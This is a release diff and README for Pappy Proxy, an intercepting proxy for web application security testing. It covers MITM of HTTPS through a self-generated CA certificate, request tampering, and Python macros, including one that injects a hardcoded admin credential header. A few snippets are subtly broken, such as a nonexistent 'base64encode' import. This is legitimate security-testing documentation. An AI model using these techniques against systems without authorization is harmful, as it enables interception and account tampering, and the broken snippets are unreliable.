Release 0.0.2

Soooo much stuff. Features, bugfixes, all that.

.gitignore

@@ -10,3 +10,4 @@ TAGS
 config.json
 build/*
 *.egg-info/*
+.#*

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "pappyproxy/lists/fuzzdb"]
+	path = pappyproxy/lists/fuzzdb
+	url = https://github.com/fuzzdb-project/fuzzdb.git

Makefile

@@ -0,0 +1,6 @@
+
+docs:
+	pandoc --from=markdown --to=rst --output=docs/source/overview.rst README.md
+	cd docs; make html
+
+.PHONY: docs

README.md

@@ -3,13 +3,13 @@ The Pappy Proxy
 
 Introduction
 ------------
-The Pappy (**P**roxy **A**ttack **P**roxy **P**rox**Y**) Proxy is an intercepting proxy for performing web application security testing. Its features are often similar, or straight up rippoffs from [Burp Suite](https://portswigger.net/burp/). However, Burp Suite is neither open source nor a command line tool, thus making a proxy like Pappy inevitable. The project is still in its early stages, so there are bugs and only the bare minimum features, but it should be able to do some cool stuff soon (I'm already using it for real<sup>tm</sup> work).
+The Pappy (**P**roxy **A**ttack **P**roxy **P**rox**Y**) Proxy is an intercepting proxy for performing web application security testing. Its features are often similar, or straight up rippoffs from [Burp Suite](https://portswigger.net/burp/). However, Burp Suite is neither open source nor a command line tool, thus making a proxy like Pappy inevitable. The project is still in its early stages, so there are bugs and only the bare minimum features, but it should be able to do some cool stuff soon (I'm already using it for real work).
 
 Contributing
 ------------
 **I am taking any and all feature requests.** If you've used Burp and had any inconvenience with it, tell me about it and I'll do everything in my power to make sure Pappy doesn't have those issues. Or even better, if you want Burp to do something that it doesn't already, let me know so that I can ~~use it to stomp them into the dust~~ improve my project.
 
-If you're brave and want to try and contribute code, please let me know. Right now the codebase is a giant clusterfun which I have refactored a few times already, but I would be more than happy to find a stable part of the codebase that you can contribute to.
+If you're brave and want to try and contribute code, please let me know. Right now the codebase is kind of rough and I have refactored it a few times already, but I would be more than happy to find a stable part of the codebase that you can contribute to.
 
 How to Use It
 =============
@@ -18,14 +18,14 @@ Installation
 ------------
 Pappy supports OS X and Linux (sorry Windows). Installation requires `pip` or some other command that can handle a `setup.py` with requirements. Once the requirements are installed, you can check that it installed correctly by running `pappy -l` to start the proxy.
 ```
-$ git clone https://github.com/roglew/pappy-proxy.git
+$ git clone --recursive https://github.com/roglew/pappy-proxy.git
 $ cd pappy-proxy
 $ pip install .
 ```
 
 Quickstart
 ----------
-Pappy projects take up an entire directory. While a full directory may seem like a dumb idea compared to storing everything in a zip file, future releases will do fun stuff like generate attack scripts or other files that need to be used by other programs on a regular basis. To start a project, do something like:
+Pappy projects take up an entire directory. Any generated scripts, exported responses, etc. will be placed in the current directory so it's good to give your project a directory of its own. To start a project, do something like:
 
 ```
 $ mkdir test_project
@@ -35,15 +35,15 @@ Copying default config to directory
 Proxy is listening on port 8000
 itsPappyTime> exit
 $ ls
-data.db            project_config.json  project_config.pyc
+data.db      project_config.json
 $ 
 ```
 
-And that's it! The proxy will by default be running on port 8000 and bound to localhost (to keep the hackers out). You can modify the port/interface in `config.json`. You can list all your intercepted requests with `ls`, view a full request with `vfq <reqid>` or view a full response with `vfs <reqid>`. No you can't delete them yet. I'm working on it.
+And that's it! The proxy will by default be running on port 8000 and bound to localhost (to keep the hackers out). You can modify the port/interface in `config.json`. You can list all your intercepted requests with `ls`, view a full request with `vfq <reqid>` or view a full response with `vfs <reqid>`. Right now, the only command to delete requests is `filter_prune` which deletes all the requests that aren't in the current context (look at the sections on the context/filter strings for more information on that).
 
 Lite Mode
 ---------
-If you don't want to dirty up a directory, you can run Pappy in "lite" mode. Pappy will use the default configuration settings and will create a temporary datafile in `/tmp` to use. When you quit, the file will be deleted. If you want to run Pappy in line mode, run Pappy with either `-l` or `--lite`.
+If you don't want to dirty up a directory, you can run Pappy in "lite" mode. Pappy will use the default configuration settings and will create a temporary data file in `/tmp` to use. When you quit, the file will be deleted. If you want to run Pappy in lite mode, run Pappy with either `-l` or `--lite`.
 
 Example:
 ```
@@ -57,7 +57,7 @@ $
 
 Adding The CA Cert to Your Browser
 ----------------------------------
-In order for Pappy to view data sent using HTTPS, you need to add a generated CA cert (`certificate.crt`) to your browser. Certificates are generated using the `gencerts` command and are by default stored in the same directory as `pappy.py`. This allows Pappy to act as a CA and MITM HTTPS connections. I believe that Firefox and Chrome ignore keychain/system certs, so you will have to install the CA cert to the browsers instead of (or in addition to) adding the cert to your keychain.
+In order for Pappy to view data sent using HTTPS, you need to add a generated CA cert (`certificate.crt`) to your browser. Certificates are generated using the `gencerts` command and are by default stored in the same directory as the main `pappy.py` script. This allows Pappy to act as a CA and sign any HTTPS certificate it wants without the browser complaining. This allows Pappy to decrypt and modify HTTPS requests. The certificate installation instructions are different for each browser.
 
 ### Firefox
 You can add the CA cert to Firefox by going to `Preferences -> Advanced -> View Certificates -> Authorities -> Import` and selecting the `certificate.crt` file in the `certs` directory.
@@ -88,13 +88,15 @@ The following tokens will also be replaced with values:
 |:--|:--|
 | `{PAPPYDIR}` | The directory where Pappy's files are stored |
 
+See the default `config.json` for examples.
+
 Generating Pappy's CA Cert
 --------------------------
-In order to intercept and modify requests to sites that use HTTPS, you have to generate and install CA certs to your browser. You can do this by running the `gencerts` command in Pappy. By default, certs are stored in the same directory as Pappy's script files. However, you can change where Pappy will look for the private key file in the config file. In addition, you can give the `gencerts` command an argument to have it put the generated certs in a different directory.
+In order to intercept and modify requests to sites that use HTTPS, you have to generate and install CA certs to your browser. You can do this by running the `gencerts` command in Pappy. By default, certs are stored in the same directory as Pappy's script files. This is also the default location that Pappy will look for certificates (unless you specify otherwise in `config.json`.) In addition, you can give the `gencerts` command an argument to have it put the generated certs in a different directory.
 
 | Command | Description |
 |:--------|:------------|
-| `gencerts [/path/to/put/certs/in]` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. |
+| `gencerts [/path/to/put/certs/in]` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. If no path is given, the certs will be placed in the default certificate location. Overwrites any existing certs. |
 
 Browsing Recorded Requests/Responses
 ------------------------------------
@@ -103,13 +105,14 @@ The following commands can be used to view requests and responses
 | Command | Aliases | Description |
 |:--------|:--------|:------------|
 | `ls [a|<num>`]| list, ls |List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. |
-| `viq <id> [u]` | view_request_info, viq | View additional information about a request. Includes the target port, if SSL was used, and other information. If 'u' is given as an additional argument, it will print information on the unmangled version of the request. |
-| `vfq <id> [u]` | view_full_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the request. |
-| `vhq <id> [u]` | view_request_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. If 'u' is given as an additional argument, it will print the unmangled version of the request. |
-| `vfs <id> [u]` | view_full_response, vfs |[V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the response. |
-| `vhs <id> [u]` | view_response_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. If 'u' is given as an additional argument, it will print the unmangled version of the response. |
+| `sm` | sm, site_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. |
+| `viq <id(s)>` | view_request_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. |
+| `vfq <id(s)>` | view_full_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. |
+| `vhq <id(s)>` | view_request_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. |
+| `vfs <id(s)>` | view_full_response, vfs |[V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. |
+| `vhs <id(s)>` | view_response_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. |
 
-The table shown will have the following columns:
+The table shown by `ls` will have the following columns:
 
 | Label | Description |
 |:------|:------------|
@@ -123,25 +126,64 @@ The table shown will have the following columns:
 | Time | The time in seconds it took to complete the request |
 | Mngl | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'. |
 
+Tags
+----
+You can apply tags to a request and use filters to view specific tags. The following commands can be used to apply and remove tags to requests:
+
+| Command | Aliases | Description |
+|:--------|:--------|:------------|
+| `tag <tag> [id(s)]`  | tag | Apply a tag to the given requests. If no IDs are given, the tag will be applied to all in-context requests. |
+| `untag <tag> [id(s)]` | untag | Remove a tag from the given ids. If no IDs are given, the tag is removed from every in-context request. |
+| `clrtag <id(s)>` | clrtag | Removes all tags from the given ids. |
+
+Request IDs
+-----------
+Request IDs are how you identify a request and every command that involves specifying a request will take one or more request IDs. You can see it when you run `ls`. In addition, you can prepend an ID with prefixes to get requests or responses associated with the request (for example if you modified the request or its response with the interceptor, you can get the unmangled versions.) Here are the valid prefixes:
+
+| Prefix | Description |
+|:-------|:------------|
+| `u` | If the request was mangled, prefixing the ID with `u` will result in the unmangled version of the request. The resulting request will not have an associated response because it was never submitted to the server. |
+| `s` | If the response was mangled, prefixing the request ID `s` will result in the same request but its associated response will be the unmangled version. |
+
+I know it sounds kind of unintuitive. Here are some example commands that will hopefully make things clearer. Suppose request 1 had its request mangled, and request 2 had its response mangled.
+
+* `vfq 1` Prints the mangled version of request 1
+* `vfq u1` Prints the unmangled version of request 1
+* `rp u1` Open the repeater with the unmangled version of request 1
+* `vfs u1` Throws an error because the unmangled version was never submitted
+* `vfs s1` Throws an error because the response for request 1 was never mangled
+* `vfs 2` Prints the mangled response of request 2
+* `vfs s2` Prints the unmangled response of request 2
+* `vfq u2` Throws an error because request 2's request was never mangled
+* `vfs u2` Throws an error because request 2's request was never mangled
+
+### Passing Multiple Request IDs to a Command
+
+Some arguments can take multiple IDs for an argument. To pass multiple IDs to a command, separate the IDs with commas **(no spaces!)**. A few examples:
+
+* `viq 1,2,u3` View information about requests 1, 2, and the unmangled version of 3
+* `gma foo 4,5,6` Generate a macro with definitions for requests 4, 5, and 6
+
 Context
 -------
-The context is a set of filters that define which requests are considered "active". Only requests in the current context are displayed with `ls`, and eventually contexts will be how Pappy will manage requests for group operations. By default, the context includes every single request that passes through the proxy. You can limit down the current context by applying filters. Filters apply rules such as "the response code must equal 500" or "the host must contain google.com". Once you apply one or more filters, only requests/responses which pass every active filter will be a part of the current context.
+The context is a set of filters that define which requests are considered "active". Only requests in the current context are displayed with `ls`. By default, the context includes every single request that passes through the proxy. You can limit down the current context by applying filters. Filters apply rules such as "the response code must equal 500" or "the host must contain google.com". Once you apply one or more filters, only requests/responses which pass every active filter will be a part of the current context.
 
 | Command | Aliases | Description |
 |:--------|:------------|:---|
 | `f <filter string>` | filter, fl, f |Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string |
 | `fc` | filter_clear, fc | Clears the filters and resets the context to contain all requests and responses. Ignores scope |
 | `fls` | filter_list, fls | Print the filters that make up the current context |
+| `filter_prune` | filter_prune | Delete all the requests that aren't in the current context from the data file |
 
 Filter Strings
 --------------
-Filter strings define a condition that a request/response pair must pass to be part of a context. Most filter strings have the following format:
+Filter strings define a condition that a request/response pair must pass to be part of the context. Most filter strings have the following format:
 
 ```
 <field> <comparer> <value>
 ```
 
-Where `<field>` is some part of the request/response, `<comparer>` is some comparison to `<value>`. Also **if you prefix a comparer with 'n' it turns it into a negation.** For example, if you wanted a filter that only matches requests to target.org, you could use the following filter string:
+Where `<field>` is some part of the request/response, `<comparer>` is some comparison to `<value>`. For example, if you wanted a filter that only matches requests to `target.org`, you could use the following filter string:
 
 ```
 host is target.org
@@ -151,6 +193,16 @@ comparer = "is"
 value = "target.org"
 ```
 
+Also **if you prefix a comparer with 'n' it turns it into a negation.** Using the previous example, the following will match any request except for ones where the host contains `target.org`:
+
+```
+host nis target.org
+
+field = "host"
+comparer = "nis"
+value = "target.org"
+```
+
 For fields that are a list of key/value pairs (headers, get params, post params, and cookies) you can use the following format:
 
 ```
@@ -190,13 +242,14 @@ Matches both A and B but not C
 | sentcookie | sentcookie, sck | A cookie sent in a request | Key/Value |
 | setcookie | setcookie, stck | A cookie set by a response | Key/Value |
 | statuscode | statuscode, sc, responsecode | The response code of the response | Numeric |
+| tag | tag | Any of the tags applied to the request | String |
 
 ### List of comparers
 | Field Name | Aliases | Description |
 |:--------|:------------|:-----|
 | is | is | Exact string match | 
 | contains | contains, ct | A contain B is true if B is a substring of A |
-| containsr | containsr, ctr | A containr B is true if A matches regexp B (NOT IMPLEMENTED) |
+| containsr | containsr, ctr | A containr B is true if A matches regexp B |
 | exists | exists, ex | A exists B if A is not an empty string (likely buggy) |
 | Leq | Leq | A Leq B if A's length equals B (B must be a number) |
 | Lgt | Lgt | A Lgt B if A's length is greater than B (B must be a number ) |
@@ -207,21 +260,32 @@ Matches both A and B but not C
 
 Scope
 -----
-Scope is a set of rules to define whether Pappy should mess with a request. You define the scope by setting the context to what you want the scope to be and running `scope_save`. The scope is saved in data.db and is automatically restored when using the same project directory.
+Scope is a set of rules to define whether Pappy should mess with a request. You define the scope by setting the context to what you want the scope to be and running `scope_save`. The scope is saved in the data file and is automatically restored when using the same project directory.
 
-Any requests which don't match all the filters in the scope will be passed straight to the browser and will not be caught by the interceptor or recorded in the database. This is useful to make sure you don't accidentally do something like log in to your email through the proxy and have your plaintext username/password stored and accidentally shown to your coworkers.
+Any requests which don't match all the filters in the scope will be passed straight to the browser and will not be caught by the interceptor or recorded in the data file. This is useful to make sure you don't accidentally do something like log in to your email through the proxy and have your plaintext username/password stored.
 
 | Command | Aliases | Description |
 |:--------|:--------|:------------|
-| `scope_save` |scope_save| Set the current context to be the scope |
-| `sr` |scope_reset, sr| Set the current context to the scope |
-| `scope_delete` |scope_delete| Clear the scope (everything's in scope!) |
-| `scope_list` |scope_list, sls| List all the filters that are applied to the scope |
+| `scope_save` |`scope_save`| Set the current context to be the scope |
+| `sr` |`scope_reset`, `sr`| Set the current context to the scope |
+| `scope_delete` |`scope_delete`| Clear the scope (everything's in scope!) |
+| `scope_list` |`scope_list`, `sls`| List all the filters that are applied to the scope |
+
+### Built-In Filters
+Pappy also includes some built in filters that you can apply. These are things that you may want to filter by but may be too tedius to type out. The `fbi` command also supports tab completion.
 
+| Filter | Description |
+|:--|:--|
+| `not_image` | Matches anything that isn't an image. |
+| `not_jscss` | Matches anything that isn't JavaScript or CSS. |
+
+| Command | Aliases | Description |
+|:--------|:--------|:------------|
+| `fbi <filter>` | `builtin_filter`, `fbi` | Apply a built-in filter to the current context |
 
 Interceptor
 -----------
-This feature is like Burp's proxy with "Intercept Mode" turned on, except it's not turned on unless you explicitly turn it on. When the proxy gets a request while in intercept mode, it lets you edit it before it forwards it to the server. In addition, it can stop responses from the server and let you edit them before they get forwarded to the browser. When you run the command, you can pass `request` and/or `response` as arguments to say whether you would like to intercept requests and/or responses. Only in-scope requests/responses will be intercepted (see Scope section).
+This feature is like Burp's proxy with "Intercept Mode" turned on, except it's not turned on unless you explicitly turn it on. When the proxy gets a request while in intercept mode, it lets you edit it before forwarding it to the server. In addition, it can stop responses from the server and let you edit them before they get forwarded to the browser. When you run the command, you can pass `req` and/or `rsp` as arguments to say whether you would like to intercept requests and/or responses. Only in-scope requests/responses will be intercepted (see Scope section).
 
 The interceptor will use your EDITOR variable to decide which editor to edit the request/response with. If no editor variable is set, it will default to `vi`.
 
@@ -229,7 +293,7 @@ To forward a request, edit it, save the file, then quit.
 
 | Command | Aliases | Description |
 |:--------|:--------|:------------|
-| `ic <requests,responses,request,response,req,rsp>+` | intercept, ic | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in `request` to intercept requests, `response` to intercept responses, or both to intercept both. |
+| `ic <req,rsp>+` | `intercept`, `ic` | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in `request` to intercept requests, `response` to intercept responses, or both to intercept both. |
 
 ```
 Intercept both requests and responses:
@@ -248,11 +312,11 @@ Be totally useless:
 > ic
 ```
 
+To drop a request, delete everything, save and quit.
+
 Repeater
 --------
-This feature is like Burp's repeater (yes, really). You choose a request and Pappy will open vim in a split window with your request on the left and the original response on the right. You can make changes to the request and then run ":RepeaterSubmitBuffer" to submit the modified request. The response will be displayed on the right. This command is bound to `<leader>f` by default, but you can rebind it in your vimrc (I think, dunno if vim will complain if it's undefined). This command will submit whatever buffer your cursor is in, so make sure it's in the request buffer.
-
-To drop a request, delete everything, save and quit (`ggdG:wq`).
+This feature is like Burp's repeater (yes, really). You choose a request and Pappy will open vim in a split window with your request on the left and the original response on the right. You can make changes to the request and then run ":RepeaterSubmitBuffer" to submit the modified request. The response will be displayed on the right. This command is bound to `<leader>f` by default, but you can bind it to something else too in your vimrc (I think, dunno if vim will complain if the function undefined which it will be for regular files). This command will submit whatever buffer your cursor is in, so make sure it's in the request buffer.
 
 When you're done with repeater, run ":qa!" to avoid having to save changes to nonexistent files.
 
@@ -264,6 +328,244 @@ When you're done with repeater, run ":qa!" to avoid having to save changes to no
 |:--------|:-----------|:-------|
 | `RepeaterSubmitBuffer` | <leader>f | Submit the current buffer, split the windows vertically, and show the result in the right window |
 
+Macros
+------
+Macros are Pappy's version of Burp's intruder. You can use macros to make automated requests through the proxy and save them to the data file. A macro file is any python script file in the current directory that is in the form `macro_<name>.py`. An example project directory with macros would be:
+
+```
+$ ls -l
+-rw-r--r-- 1 scaryhacker wheel     150 Nov 26 11:17 config.json
+-rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db
+-rw-r--r-- 1 scaryhacker wheel     471 Nov 26 18:42 macro_blank.py
+-rw-r--r-- 1 scaryhacker wheel     264 Nov 26 18:49 macro_hackthensa.py
+-rw-r--r-- 1 scaryhacker wheel    1261 Nov 26 18:37 macro_testgen.py
+-rw-r--r-- 1 scaryhacker wheel     241 Nov 26 17:18 macro_test.py
+```
+
+In this case we have a `blank`, `hackthensa`, `testgen`, and `test` macro. A macro script is any python script that defines a `run_macro(args)` function and a `MACRO_NAME` variable. For example, a simple macro would be:
+
+```
+--- macro_print.py
+
+MACRO_NAME = 'Print Macro'
+
+def run_macro(args):
+    if args:
+        print "Hello, %s!" % args[0]
+    else:
+        print "Hello, Pappy!"
+```
+
+You can place this macro in your project directory then load and run it from Pappy. When a macro is run, arguments are passed from the command line. Arguments are separated the same way as they are on the command line, so if you want to use spaces in your argument, you have to put quotes around it.
+
+```
+$ pappy
+Proxy is listening on port 8000
+itsPappyTime> lma
+Loaded "<Macro Test Macro (tm/test)>"
+Loaded "<Macro Macro 6494496 (testgen)>"
+Loaded "<Macro Print Macro (print)>"
+Loaded "<Macro Hack the NSA (htnsa/hackthensa)>"
+Loaded "<Macro Macro 62449408 (blank)>"
+itsPappyTime> rma print
+Hello, Pappy!
+itsPappyTime> rma print NSA
+Hello, NSA!
+itsPappyTime> rma print Idiot Slayer
+Hello, Idiot!
+itsPappyTime> rma print "Idiot Slayer"
+Hello, Idiot Slayer!
+```
+
+You'll need to run `lma` every time you make a change to the macro in order to reload it. In addition, any code outside of the `run_macro` function will be run when it the macro gets loaded.
+
+### Generating Macros From Requests
+
+You can also generate macros that have Pappy `Request` objects created with the same information as requests you've already made. For example:
+
+```
+$ pappy
+Proxy is listening on port 8000
+itsPappyTime> ls
+ID  Verb  Host         Path               S-Code  Req Len  Rsp Len  Time  Mngl
+5   GET   vitaly.sexy  /esr1.jpg          200 OK  0        17653    --    --
+4   GET   vitaly.sexy  /netscape.gif      200 OK  0        1135     --    --
+3   GET   vitaly.sexy  /construction.gif  200 OK  0        28366    --    --
+2   GET   vitaly.sexy  /vitaly2.jpg       200 OK  0        2034003  --    --
+1   GET   vitaly.sexy  /                  200 OK  0        1201     --    --
+itsPappyTime> gma sexy 1
+Wrote script to macro_sexy.py
+itsPappyTime> quit
+$ cat macro_sexy.py
+from pappyproxy.http import Request, get_request, post_request
+
+MACRO_NAME = 'Macro 94664581'
+SHORT_NAME = ''
+
+###########
+## Requests
+
+req0 = Request((
+'GET / HTTP/1.1\r\n'
+'Host: vitaly.sexy\r\n'
+'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+'Accept-Language: en-US,en;q=0.5\r\n'
+'Accept-Encoding: gzip, deflate\r\n'
+'Connection: keep-alive\r\n'
+'Pragma: no-cache\r\n'
+'Cache-Control: no-cache\r\n'
+'\r\n'
+))
+
+
+def run_macro(args):
+    # Example:
+    # req = req0.copy() # Copy req0
+    # req.submit() # Submit the request to get a response
+    # print req.response.raw_headers # print the response headers
+    # req.save() # save the request to the data file
+    # or copy req0 into a loop and use string substitution to automate requests
+    pass
+```
+
+If you enter in a value for `SHORT_NAME`, you can use it as a shortcut to run that macro. So if in a macro you set `SHORT_NAME='tm'` you can run it by running `itsPappyTime> rma tm`.
+
+| Command | Aliases | Description |
+|:--------|:--------|:------------|
+| `lma [dir]` | `load_macros`, `lma` | Load macros from a directory. If `dir` is not given, use the current directory (the project directory) |
+| `rma <macro name>` | `run_macro`, `rma` | Run a macro with the given name. You can use the shortname, filename, or long name. |
+| `gma <name> [id(s)]` | `generate_macro`, `gma` | Generate a macro with the given name. If request IDs are given, the macro will contain request objects that contain each request. |
+| `rpy <id(s)>` | `rpy` | Print the Python object definitions for each of the given ids |
+
+### Request Objects
+
+The main method of interacting with the proxy is through `Request` objects. You can submit a request with `req.sumbit()` and save it to the data file with `req.save()`. The objects also have attributes which can be used to modify the request in a high-level way. Unfortunately, I haven't gotten around to writing full docs on the API and it's still changing every once in a while so I apologize if I pull the carpet out from underneath you.
+
+Dict-like objects are represented with a custom class called a `RepeatableDict`. I haven't gotten around to writing docs on it yet, so just interact with it like a dict and don't be surprised if it's missing some methods you would expect a dict to have.
+
+Here is a quick list of attributes that you can use with `Request` objects:
+
+| Attribute | Settable? | Data Type | Description |
+|:--|:--|:--|:--|
+| cookies | Yes | RepeatableDict | Cookies sent in the request |
+| fragment | Yes | String | The url fragment (The text after the #) |
+| full_path | No | String | The path including url params and the fragment |
+| full_request | No | String | The full request including headers and data |
+| headers | Yes | RepeatableDict | The headers of the request |
+| host | Yes | String | The host that the request is sent to |
+| is_ssl | Yes | Bool | Whether the request is/was sent over SSL |
+| path | Yes | String | The document path (ie www.a.com/this/is/the/path) |
+| port | Yes | Integer | The port the request is/was sent to |
+| post_params | Yes | RepeatableDict | Post parameters |
+| raw_data | Yes | String | The data part of the request |
+| raw_headers | No | String | The text of the headers section of the request |
+| reqid | Yes | Integer | The ID of the request. If set when save() is called, it replaces the request with the same id in the database |
+| response | Yes | Response | The associated response for the request |
+| rsptime | No | Datetime Delta | The time it took to complete the request. Set when submit() is called |
+| status_line | Yes | String | The status line of the request (ie 'GET / HTTP/1.1') |
+| time_end | Yes | Datetime | The time when the request was completed |
+| time_start | Yes | Datetime | The time when the request was started |
+| unmangled | Yes | Request | If the request was mangled, the unmangled version of the request |
+| url | Yes | String | The URL of the request (ie 'https://www.google.com') |
+| url_params | Yes | RepeatableDict | The URL parameters of the request |
+| verb | Yes | String | The verb used for the request (ie GET, POST, PATCH, HEAD, etc). Doesn't have to be a valid verb. |
+| version | Yes | String | The version part of the status line (ie 'HTTP/1.1') |
+
+Request methods:
+
+| Function | Description |
+|:--|:--|
+| submit() | Submit the request through the proxy. Does not save the request to the data file |
+| save() | Save the request, its unmangled version, its associated response, and the unmangled version of the response to the database |
+
+And here is a quick list of attributes that you can use with `Response` objects:
+
+| Attribute | Settable? | Data Type | Description |
+|:--|:--|:--|:--|
+| cookies | Yes | RepeatableDict | Cookies set by the response |
+| headers | Yes | RepeatableDict | The headers of the response |
+| response_code | Yes | Integer | The response code of the response |
+| response_text | Yes | String | The text associated with the response code (ie OK, NOT FOUND)
+| rspid | Yes | Integer | The response id of the response. If this is the same as another response in the database, calling save() on the associated request will replace that response in the database |
+| unmangled | Yes | Response | If the response was mangled, this will refer to the unmangled version of the response. Otherwise it is None |
+| version | Yes | String | The version part of the status line of the response (ie 'HTTP/1.1') |
+| raw_headers | No | String | A text version of the headers of the response |
+| status_line | Yes | String | The status line of the response |
+| raw_data | Yes | String | The data portion of the response |
+| full_response | No | String | The full text version of the response including headers and data |
+
+Like I said, these interfaces are prone to change and will probably crash when you use them. If you get a traceback, send me an email so I can fix it.
+
+### Useful Functions
+
+There are also a few functions which could be useful for creating requests in macros.
+
+| Function | Description |
+|:--|:--|
+| get_request(url, url_params={}) | Returns a Request object that contains a GET request to the given url with the given url params |
+| post_request(url, post_params={}, url_params={}) | Returns a Request object that contains a POST request to the given url with the given url and post params |
+
+Intercepting Macros
+-------------------
+Intercepting macros let you mangle requests as they pass through the proxy. Similarly to normal macros, an intercepting macro is any python script with an "int" prefix. For example, `int_name.py` would be a valid intercepting macro name. They are also loaded with the `lma` command. An intercepting macro can define two functions: `mangle_request` or `mangle_response`. Both requests only take a `Request` object as a parameter. `mangle_request` returns either a new, modified Request object to change it, or it can return the original object to not mangle it. The `mange_response` must return a `Response` (not request!) object. The request passed in to `mangle_response` will have an associated response with it. If you want to modify the response, copy `request.response`, make modifications, then return it. If you would like to pass it through untouched, just return `request.response`.
+
+Note, that due to twisted funkyness, *you cannot save requests from intercepting macros*. Technically you **can**, but to do that you'll have to define `async_mangle_request` (or response) instead of `mangle_request` (or response) then use `Request.async_deep_save` which generates a deferred, then generate a deferred from `async_mangle_requests` (inline callbacks work too). If you've never used twisted before, please don't try. Twisted is hard. Plus the mangled request will be saved before it is submitted anyways.
+
+Confusing? Here are some example intercepting macros:
+
+```
+## int_cloud2butt.py
+
+import string
+
+MACRO_NAME = 'Cloud to Butt'
+
+def mangle_response(request):
+    r = request.response.copy()
+    r.raw_data = string.replace(r.raw_data, 'cloud', 'butt')
+    r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt')
+    return r
+```
+
+```
+## int_donothing.py
+
+import string
+
+MACRO_NAME = 'Do Nothing'
+
+def mangle_request(request):
+    return request
+
+def mangle_response(request):
+    return request.response
+```
+
+```
+## int_adminplz.py
+
+from base64 import base64encode as b64e
+
+MACRO_NAME = 'Admin Session'
+
+def mangle_request(request):
+    r = request.copy()
+    r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123')
+    return r
+```
+
+### Enabling/Disabling Intercepting Macros
+You can use the following commands to start/stop intercepting macros
+
+| Command | Aliases | Description |
+|:--------|:--------|:------------|
+| `lma [dir]` | `load_macros`, `lma` | Load macros from a directory. If `dir` is not given, use the current directory (the project directory) |
+| `rim <macro name>` | `run_int_macro`, `rim` | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro. |
+| `sim <macro name>` | `stop_int_macro`, `sim` | Stop an intercepting macro. |
+| `lim` | `list_int_macros`, `lim` | List all enabled/disabled intercepting macros |
+| `gima <name>` | `generate_int_macro`, `gima` | Generate an intercepting macro with the given name. |
+
 Logging
 -------
 You can watch in real-time what requests are going through the proxy. Verbosisty defaults to 1 which just states when connections are made/lost and some information on what is happening. If verbosity is set to 3, it includes all the data which is sent through the proxy and processed. It will print the raw response from the server, what it decodes it to, etc. Even if you don't run this command, all the information is stored in the dubug directory (the directory is cleared every start though!)
@@ -271,3 +573,13 @@ You can watch in real-time what requests are going through the proxy. Verbosisty
 | Command | Description |
 |:--------|:------------|
 | `log [verbosity]` | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy |
+
+Additional Commands
+-------------------
+This is a list of other random stuff you can do that isn't categorized under anything else. These are mostly commands that I found that I needed while doing a test and just added. They likely don't do a ton of error checking.
+
+| Command | Aliases | Description |
+|:--------|:--------|:------------|
+| `dump_response <reqid> [filename]` | `dump_response` | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path. |
+| `export <req|rsp> <reqid>` | `export` | Writes either the full request or response to a file in the current directory. |
+

README.rst

@@ -1,476 +0,0 @@
-The Pappy Proxy
-===============
-
-Introduction
-------------
-
-The Pappy (**P**\ roxy **A**\ ttack **P**\ roxy **P**\ rox\ **Y**) Proxy
-is an intercepting proxy for performing web application security
-testing. Its features are often similar, or straight up rippoffs from
-`Burp Suite <https://portswigger.net/burp/>`__. However, Burp Suite is
-neither open source nor a command line tool, thus making a proxy like
-Pappy inevitable. The project is still in its early stages, so there are
-bugs and only the bare minimum features, but it should be able to do
-some cool stuff soon (I'm already using it for realtm work).
-
-Contributing
-------------
-
-**I am taking any and all feature requests.** If you've used Burp and
-had any inconvenience with it, tell me about it and I'll do everything
-in my power to make sure Pappy doesn't have those issues. Or even
-better, if you want Burp to do something that it doesn't already, let me
-know so that I can [STRIKEOUT:use it to stomp them into the dust]
-improve my project.
-
-If you're brave and want to try and contribute code, please let me know.
-Right now the codebase is a giant clusterfun which I have refactored a
-few times already, but I would be more than happy to find a stable part
-of the codebase that you can contribute to.
-
-How to Use It
-=============
-
-Installation
-------------
-
-Pappy supports OS X and Linux (sorry Windows). Installation requires
-``pip`` or some other command that can handle a ``setup.py`` with
-requirements. Once the requirements are installed, you can check that it
-installed correctly by running ``pappy -l`` to start the proxy.
-
-::
-
-    $ git clone https://github.com/roglew/pappy-proxy.git
-    $ cd pappy-proxy
-    $ pip install .
-
-Quickstart
-----------
-
-Pappy projects take up an entire directory. While a full directory may
-seem like a dumb idea compared to storing everything in a zip file,
-future releases will do fun stuff like generate attack scripts or other
-files that need to be used by other programs on a regular basis. To
-start a project, do something like:
-
-::
-
